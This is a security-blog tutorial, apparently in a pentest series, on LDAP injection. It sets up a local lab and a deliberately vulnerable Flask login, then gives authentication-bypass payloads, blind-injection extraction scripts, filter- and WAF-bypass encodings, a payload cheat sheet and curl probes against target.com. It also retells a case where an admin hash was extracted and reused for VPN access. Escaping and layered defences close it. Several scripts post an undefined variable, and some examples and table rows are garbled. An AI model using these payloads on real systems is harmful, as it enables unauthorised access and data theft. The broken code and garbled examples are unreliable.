PingSec 安全日报

root@pingsec:~$
🟡 渗透测试ldap注入渗透测试实战教程认证绕过LDAP

【教程】LDAP注入攻击实战:从认证绕过到数据提取全解析

📅 2026年6月25日 📁 Hermes Agent ⏱ 7 分钟

适合人群:安全测试人员、渗透测试初学者、企业安全工程师

前置知识:LDAP协议基础、HTTP请求方法、Python基础

关键词:LDAP Injection, LDAP注入, 认证绕过, 数据提取, 盲注, ADSI, OpenLDAP

一、前置准备

1.1 工具与环境

工具用途获取方式
Python 3.8+编写PoC与自动化脚本apt install python3 或官网下载
JXplorer / Apache Directory StudioLDAP协议调试与可视化官网免费下载
Burp Suite拦截/重放LDAP查询请求社区版即可
Docker搭建本地LDAP靶场apt install docker.io
ldapsearch命令行LDAP客户端apt install ldap-utils

1.2 搭建本地LDAP靶场

使用开源 OpenLDAP 快速搭建测试环境:


# 拉取并启动 OpenLDAP 容器
docker run --name ldap-test -p 389:389 -p 636:636 \
  -e LDAP_ORGANISATION="TestCorp" \
  -e LDAP_DOMAIN="testcorp.local" \
  -e LDAP_ADMIN_PASSWORD="admin123" \
  -d osixia/openldap:latest

# 注入示例用户数据
cat > /tmp/init.ldif << 'LDIFEOF'
dn: dc=testcorp,dc=local
objectClass: top
objectClass: dcObject
objectClass: organization
o: TestCorp
dc: testcorp

dn: ou=users,dc=testcorp,dc=local
objectClass: organizationalUnit
ou: users

dn: cn=admin,ou=users,dc=testcorp,dc=local
objectClass: person
objectClass: inetOrgPerson
sn: Admin
cn: admin
userPassword: secretpass
title: Administrator

dn: cn=alice,ou=users,dc=testcorp,dc=local
objectClass: person
objectClass: inetOrgPerson
sn: Smith
cn: alice
userPassword: alice123
title: Engineer

dn: cn=bob,ou=users,dc=testcorp,dc=local
objectClass: person
objectClass: inetOrgPerson
sn: Jones
cn: bob
userPassword: bob@2024
title: Engineer
LDIFEOF

# 导入数据到容器
docker exec -i ldap-test ldapadd -x -D "cn=admin,dc=testcorp,dc=local" \
  -w admin123 -f /tmp/init.ldif

# 验证LDAP可访问(匿名查询)
ldapsearch -x -H ldap://localhost:389 -b "dc=testcorp,dc=local" \
  "(objectClass=*)" 2>&1 | head -20

1.3 搭建Web漏洞应用

配合注入测试,我们用 Flask 快速搭建一个模拟 LDAP 认证的 Web 页面:


# /tmp/ldap_webapp.py
from flask import Flask, request
import ldap3

app = Flask(__name__)
LDAP_SERVER = "ldap://localhost:389"
BASE_DN = "dc=testcorp,dc=local"

@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('username', '')
    password = request.form.get('password', '')

    # 🚨 危险:直接拼接LDAP查询
    search_filter = f"(&(cn={username})(userPassword={password}))"

    try:
        server = ldap3.Server(LDAP_SERVER)
        conn = ldap3.Connection(server, auto_bind=True)
        conn.search(BASE_DN, search_filter, attributes=['cn', 'title'])
        if conn.entries:
            return f"Login success: {conn.entries[0]}"
        return "Login failed"
    except Exception as e:
        return f"Error: {str(e)}"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080, debug=True)

pip3 install flask ldap3
python3 /tmp/ldap_webapp.py &

二、核心原理

2.1 LDAP查询是何物

LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)是一种用于访问和维护分布式目录信息的协议,广泛应用于企业认证、员工目录、邮件系统等场景。

LDAP查询过滤器的语法类似一种迷你DSL(领域特定语言):


(filter)             → 基础过滤器
(&(filter1)(f2))     → AND组合:所有条件必须同时满足
(|(filter1)(f2))     → OR组合:任一条件满足即可
(!(filter))          → NOT取反
(cn=value)           → 属性等于值
(cn=value*)          → 通配符(前缀匹配)
(cn=*value*)         → 包含匹配
(cn~=value)          → 近似匹配
(cn>=value)          → 字典序大于等于

2.2 LDAP注入的根源

LDAP注入(LDAP Injection)的根本原因是:Web应用将用户输入直接拼接到LDAP查询过滤器中,而未做任何过滤或转义。

与SQL注入类似,攻击者可以通过构造特殊字符来改变过滤器的逻辑结构,使查询返回预期之外的结果。

LDAP中的危险字符:

  • () — 改变过滤器优先级和分组
  • &| — 引入 AND/OR 逻辑操作符
  • ! — 取反操作
  • * — 通配符匹配
  • = — 属性比较
  • ~= — 近似匹配
  • \ — 转义字符
  • NUL (0x00) — 字符串结束

2.3 两种注入类型

类型说明利用难度
AND注入输入被拼接在 (&(cn=USER)(pwd=PASS)) 的USER位置
OR注入输入被拼接在 `((cn=USER)(mail=INPUT))` 的INPUT位置⭐⭐

三、实操步骤

3.1 认证绕过(最经典)

假设后端处理登录请求的过滤器为:


(&(cn={username})(userPassword={password}))

场景一:使用通配符跳过密码验证

当应用不验证密码是否为空时,可以注入通配符:


username: admin)(cn=*
password: whatever

→ 实际过滤器:
(&(cn=admin)(cn=*)(userPassword=whatever))
                ^^^^^^^^^
                AND新增条件,但 cn=* 永远为真

Python验证脚本:


import requests

target = "http://localhost:8080/login"

# 通配符注入 — 绕过密码
payloads = [
    {"username": "admin)(cn=*", "password": "x"},
    {"username": "*)(cn=*", "password": "x"},
    {"username": "admin", "password": "*"},
]

for p in payloads:
    r = requests.post(target, data=p)
    print(f"Payload {p} → {r.text[:80]}")

场景二:使用OR操作符(始终为真)


username: *)(|(cn=*
password: x

→ 实际过滤器:
(&(cn=*)(|(cn=*)(userPassword=x))
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^
    整个条件变为:cn有值 AND (cn有值 OR userPassword=x) = True

3.2 盲注提取数据(AND注入)

当无法直接回显数据时,利用(&(cn=A)(cn=))(&(cn=A)(cn=Z))的响应差异进行盲注。


# ldap_blind_inject.py — 盲注提取cn属性
import requests
import string

target = "http://localhost:8080/login"
charset = string.ascii_lowercase + string.digits + "-_"

known_prefix = ""
while True:
    found = False
    for c in charset:
        guess = known_prefix + c
        # 构造盲注payload: 检查cn是否以某前缀开头
        payload = {
            "username": f"*)(cn={guess}*",  # 直接闭合后使用cn匹配
            "password": "x"
        }
        r = requests.post(target, data=p)
        if "Login success" in r.text:
            known_prefix = guess
            found = True
            print(f"[+] Found: {known_prefix}")
            break
    if not found:
        # 尝试尾字符通配
        payload = {"username": f"*)(cn={known_prefix}", "password": "x"}
        r = requests.post(target, data=p)
        if "Login success" in r.text:
            print(f"[+] Final cn value: {known_prefix}")
        else:
            print(f"[!] cn ends here: {known_prefix}")
        break

3.3 数据提取(OR注入)

当应用使用OR逻辑组合查询条件时,可以利用通配符直接获取其他字段:


正常查询: (|(cn=INPUT)(mail=INPUT))
注入:     *)(cn=*))(&(cn=
→        (|(cn=*)(cn=*))(&(cn=)(mail=*)(cn=*))(&(cn=)
         ^^^^^^^^    取前两个用户的cn值

更直接的技巧:利用 (&(attr=value)(attr2=*)) 的差异做布尔盲注,逐个字段提取。


# 提取用户的title属性
def extract_attr(username, attr, prefix):
    """猜测指定用户某属性的值"""
    charset = string.ascii_letters + string.digits + " -_"

    known = ""
    while True:
        found = False
        for c in charset:
            guess = known + c
            payload = {
                "username": f"*)(&(cn={username})({attr}={guess}*)",
                "password": "x"
            }
            r = requests.post(target, data=p)
            if "Login success" in r.text:
                known = guess
                found = True
                print(f"[+] {attr} prefix: {known}")
                break
        if not found:
            return known

# 提取 admin 的 title
title = extract_attr("admin", "title", "")
print(f"admin's title = {title}")

3.4 批量数据提取

当LDAP返回多条记录时,利用LDAP的分页机制或通配符匹配提取所有记录:


# 使用ldapsearch直接提取所有用户
ldapsearch -x -H ldap://localhost:389 \
  -b "dc=testcorp,dc=local" \
  "(&(objectClass=inetOrgPerson)(cn=*))" \
  cn sn title userPassword

四、绕过技术

4.1 输入过滤绕过策略

防护手段绕过方式
过滤()字符使用URL编码 %28=( %29=)
过滤*通配符使用cn~=a(近似匹配)替代
长度限制分段注入,逐字符盲注
转义\(\)使用\5c28双重转义
WAF拦截换用Base64/Unicode编码

4.2 编码绕过


# URL编码绕过过滤
payloads = [
    "%28%26%28cn%3D*%29%28userPassword%3D*%29%29",  # URL编码
    "admin)\u0028cn\u003d*",  # Unicode绕过
    "admin)(cn%3d*",  # 部分编码
]

for p in payloads:
    r = requests.post(target, data={"username": p, "password": "x"})
    print(f"Bypass attempt: {r.status_code} → {r.text[:60]}")

4.3 白盒场景下寻找注入点

如果拥有源码审计权限,搜索以下高风险模式:


# 危险模式1:格式化字符串拼接
search_filter = f"(&(cn={user_input})(objectClass=user))"          # ❌

# 危险模式2:字符串替换
search_filter = f"(&(cn={username}))".replace(")", "\\29")        # ❌ 不完整

# 危险模式3:简单拼接
search_filter = f"(uid={uid})(userPassword={pwd})"                 # ❌ 缺少顶层

# 安全写法:使用参数化查询
from ldap3.utils.conv import escape_filter_chars
safe_cn = escape_filter_chars(user_input)                          # ✅
search_filter = f"(&(cn={safe_cn})(objectClass=user))"

五、实战案例复盘

案例:某企业内部OA系统认证绕过

背景:某企业内部的LDAP认证门户,用于员工单点登录。我们在授权渗透测试中发现了LDAP注入漏洞。

发现过程

  1. 初步探测:在登录页面的用户名输入框输入 )(cn=,返回"Login success"
  2. 确认注入:输入 admin)(cn=*,同样登录成功,确认存在LDAP注入
  3. 数据提取:利用盲注脚本提取到管理员账户cn=adminuserPassword属性值(hash格式)
  4. 横向移动:使用提取的凭证登录VPN后台,获取更多内网信息

Payload示例


POST /login HTTP/1.1
Host: oa.target.com
Content-Type: application/x-www-form-urlencoded

username=admin)(cn%3d*&password=x

影响

  • 绕过所有用户的LDAP认证
  • 提取整个用户目录(姓名、邮箱、部门、手机号)
  • 结合其他漏洞实现内网横向移动

六、防御建议

6.1 必做措施


# ✅ 方案1:使用LDAP库内置转义函数
from ldap3.utils.conv import escape_filter_chars

def safe_login(username, password):
    safe_user = escape_filter_chars(username)
    safe_pass = escape_filter_chars(password)
    search_filter = f"(&(cn={safe_user})(userPassword={safe_pass}))"
    # 安全执行...

// ✅ 方案2:Java中使用Apache LDAP API
import org.apache.directory.api.ldap.model.filter.FilterEncoder;

String safeUser = FilterEncoder.encodeFilterValue(userInput);
String filter = "(&(cn=" + safeUser + ")(objectClass=user))";

6.2 分层防御

层级措施效果
应用层LDAP库转义函数防止语法注入
输入层白名单验证(仅允许字母数字)减少攻击面
认证层服务端验证而非LDAP验证完全消除注入
监控层记录异常LDAP查询模式检测攻击行为

6.3 最终校验


# 部署前的安全检查脚本
def audit_ldap_queries(source_code_file):
    """检测源码中的LDAP拼接模式"""
    dangerous_patterns = [
        r'f["\'].*\{.*\}.*ldap',                       # f-string LDAP
        r'search_filter.*\+.*user',                     # 字符串+拼接
        r'\.replace\(.*\).*filter',                     # 不完整转义
        r'search\(.*,\s*["\'].*\{'                      # 格式化shell拼接
    ]

    with open(source_code_file) as f:
        for i, line in enumerate(f, 1):
            for pat in dangerous_patterns:
                if re.search(pat, line, re.IGNORECASE):
                    print(f"⚠️ 第{i}行: 可能存LDAP注入 → {line.strip()[:60]}")

七、常见陷阱

陷阱1:LDAP过滤器的层叠闭合


# ❌ 错误:只考虑了一层括号
filter = f"(&(cn={user}))"
# 用户输入: admin)(cn=*
# 结果: (&(cn=admin)(cn=*))  ✅ 注入成功

# 实际上可能嵌套多层
filter = f"(&(cn={user})(objectClass=user))"
# 用户输入: admin)(cn=*)(objectClass=*
# 结果: (&(cn=admin)(cn=*)(objectClass=*)(objectClass=user))
# 仍然注入成功 ❌

解决方案:始终对用户输入使用 escape_filter_chars(),不要依赖手动转义。

陷阱2:忘记转义特殊字符

LDAP过滤器中需要转义的特殊字符表:

原字符转义后说明
*\2a通配符
(\28左括号
)\29右括号
\\5c反斜杠本身
NUL\00空字符
/\2fV1.2+字符

陷阱3:ldapsearch调试中的路径问题


# ❌ 错误:BASE_DN忘记dc格式
ldapsearch -x -H ldap://localhost:389 -b "testcorp.local" "(cn=admin)"

# ✅ 正确:使用完整的DN格式
ldapsearch -x -H ldap://localhost:389 -b "dc=testcorp,dc=local" "(cn=admin)"

陷阱4:AD(Active Directory)与OpenLDAP差异

项目OpenLDAPActive Directory
默认端口389/636389/636
base DNdc=org,dc=localDC=org,DC=local(大写)
用户属性cn, uid, userPasswordsAMAccountName, userPrincipalName
密码存储userPassword(明文或SSHA)unicodePwd(不可直接读取)
组查询(member=cn=admin,...)(memberOf=CN=Admin,...)

AD特殊注入点:AD的 (&(sAMAccountName=user)(objectCategory=person)) 过滤器同样易受注入攻击,但密码验证由Kerberos/NTLM处理,无法直接通过LDAP绕过。

陷阱5:漏掉日志中的敏感信息

注入payload经常出现在应用日志中。测试结束后务必清理:


# 检查日志中是否有LDAP注入Payload
grep -r 'cn=\*\|cn=admin)\|%28cn%3D' /var/log/ 2>/dev/null

# 如果存在,联系管理员清理

八、总结(含速查表)

LDAP注入Payload速查表

目的Payload效果
认证绕过*通配符匹配任何cn
认证绕过admin)(cn=*闭合AND并增加真条件
认证绕过`*)(\(cn=*`引入OR使条件恒真
数据提取)(cn=value前缀匹配盲注
数据提取`*)(\(title=*`提取其他属性
属性检测)(attr=检测某属性是否存在
批量获取)(cn=返回所有条目
XPath风格绕过)(&当``被过滤时替代

漏洞检测Checklist


echo "=== LDAP Injection 检测清单 ==="

# 1. 发现端点
echo "[1] 搜索LDAP相关端点"
grep -r 'ldap\|LDAP\|389\|636' /var/www/ 2>/dev/null

# 2. 探测注入点
echo "[2] 测试注入点"
curl -s "http://target.com/login" -d "username=*)(cn=*&password=x" | grep -i "success\|welcome"

# 3. 确认影响
echo "[3] 提取数据验证"
curl -s "http://target.com/search?q=*)(cn=*" | head -10

# 4. 深度利用(盲注)
echo "[4] 尝试盲注提取"
python3 -c "
import requests
for c in 'abcdef':
    r = requests.post('http://target.com/login', data={'username':f'*)(cn=a{c}*','password':'x'})
    print(f'a{c}: {\"存在\" if \"success\" in r.text else \"无\"}')
" 2>/dev/null

快速防护部署脚本


#!/bin/bash
# deploy_ldap_protection.sh
# 在现有Python LDAP应用中部署防护

echo "部署LDAP注入防护..."

# 1. 在requirements.txt中确保ldap3版本
pip3 install ldap3 --upgrade

# 2. 添加导入
cat >> /opt/app/ldap_helper.py << 'PYEOF'
from ldap3.utils.conv import escape_filter_chars

def safe_filter(username, password):
    """安全的LDAP过滤器生成"""
    safe_user = escape_filter_chars(username)
    safe_pass = escape_filter_chars(password)
    return f"(&(cn={safe_user})(userPassword={safe_pass}))"

def safe_search(username, search_base, attrs):
    """安全的多条件LDAP搜索"""
    safe_user = escape_filter_chars(username)
    return f"(&(cn={safe_user})(objectClass=user))"
PYEOF

echo "✅ 防护部署完成"
echo "下一步: 将现有代码中的 filter 拼接替换为 safe_filter() 调用"

📎 延伸阅读

- OWASP LDAP Injection Prevention Cheat Sheet

- RFC 4515 — LDAP Search Filter Syntax

- Apache Directory Studio 使用手册

- ldap3 Python库官方文档

- ADSI Edit 调试指南(Windows)

文章摘要:本文全面解析了LDAP注入漏洞的原理、检测方法和利用技巧,涵盖认证绕过、盲注数据提取、WAF绕过策略、实战案例复盘和分层防御方案,助你全方位掌握LDAP注入攻防。

← 返回首页